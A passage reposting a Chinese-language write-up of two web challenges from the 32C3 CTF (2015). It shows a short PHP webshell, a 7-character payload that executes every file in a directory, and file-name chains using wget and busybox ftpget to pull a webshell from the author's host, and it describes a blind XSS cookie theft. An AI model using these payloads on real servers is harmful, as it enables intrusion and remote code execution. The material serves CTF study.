<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/11718

                    0x00 簡介


                    作為一個銷售狗,還能做得動Web題,十分開心。 這次搞了兩個題目,一個是TinyHosting,一個是Kummerkasten。

                    0x01 TingHosting


                    A new file hosting service for very small files. could you pwn it?
                    http://136.243.194.53/

                    可以首先在頁面中發現一個隱藏的src參數,在URL里加上?src=1之后可以返回出頁面的源代碼。

                    p1

                    大概的意思就是說可以往服務器上傳任意文件名的文件,不過每個文件的內容只有有7個字符那么長。

                    于是首先google了一下,最短的php webshell應該是14字符的這個:

                    #!php
                    <?=`$_GET[1]`;
                    

                    (PS:原文的該代碼被轉意過了,若有錯誤...見諒.

                    顯然不夠長啊。

                    后來腦洞了很多,想到了可愛的 * ,于是很重要的payload是:

                    #!bash
                    z.php
                    

                    內容為:

                    #!php
                    <?=`*`;
                    

                    剛好七個字符,不多不少,能把當前目錄下的所有玩意按順序執行一遍。

                    于是就要構造一些執行鏈了,一開始的想法是:

                    #!bash
                    busybox ftpget two.dog w.php z.php
                    

                    其中前4個文件內容隨意,w.php是上面的關鍵payload,執行w.php后其內容被我服務器上的webshell覆蓋,而獲取webshell。

                    結果悲劇的發現busybox ftpget支持的host只能是ip,而不支持域名。

                    后來想通過wget來構造,利用了302跳轉可以跨協議的特點。

                    #!bash
                    wget wtf.two.dog z.php
                    

                    前兩個文件人意內容,z.php為重要payload,即可拿下webshell。

                    但仔細一看,這題會在每一個人的目錄下創建一個index.html,于是執行鏈被破環沒法工作。

                    于是使用bash來先干掉index.html

                    構造:

                    #!bash
                    bash bb index.html z.php
                    

                    其中bash內容隨意,bb的內容為rm ./*不超過7個字符。然后再通過上面的方法即可獲得一個webshell,然后在根目錄發現一個flag。

                    p2

                    之后看了老外的做法真是簡單好用,就利用bash、bb和z.php,bb的內容分別為ls /,cat /f*,簡單直接0 0

                    0x02 Kummerkasten


                    Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
                    Please note: This challenge does not follow the flag format.

                    Hints:
                    To build the flag, concatenate both parts and omit '32C3_'

                    進去之后只有一個提交留言的地方,四下看了看沒發現別的東西,感覺和XSS會有關。

                    直接丟了一個盲打cookie的payload之后收到了回顯:

                    p3

                    訪問過去是403,感覺需要用XSS來讀一下頁面的內容。

                    本來的思路是XSS里帶上jQuery然后用jQuery操作,結果發現頁面里面有,太方便了。

                    直接用ajax可以輕松讀取頁面并回傳。

                    看到了 /admin/bugs/admin/token

                    根據頁面中的信息來看,關鍵是要讀兩個png圖片回來。

                    最后的payload如下:

                    p4

                    然后把兩個圖里的內容,一個mysql的password和一個6位數字拼起來就是FLAG咯。

                    0x03 Other

                    更多的writeup可以參考如下鏈接:

                    https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/web

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频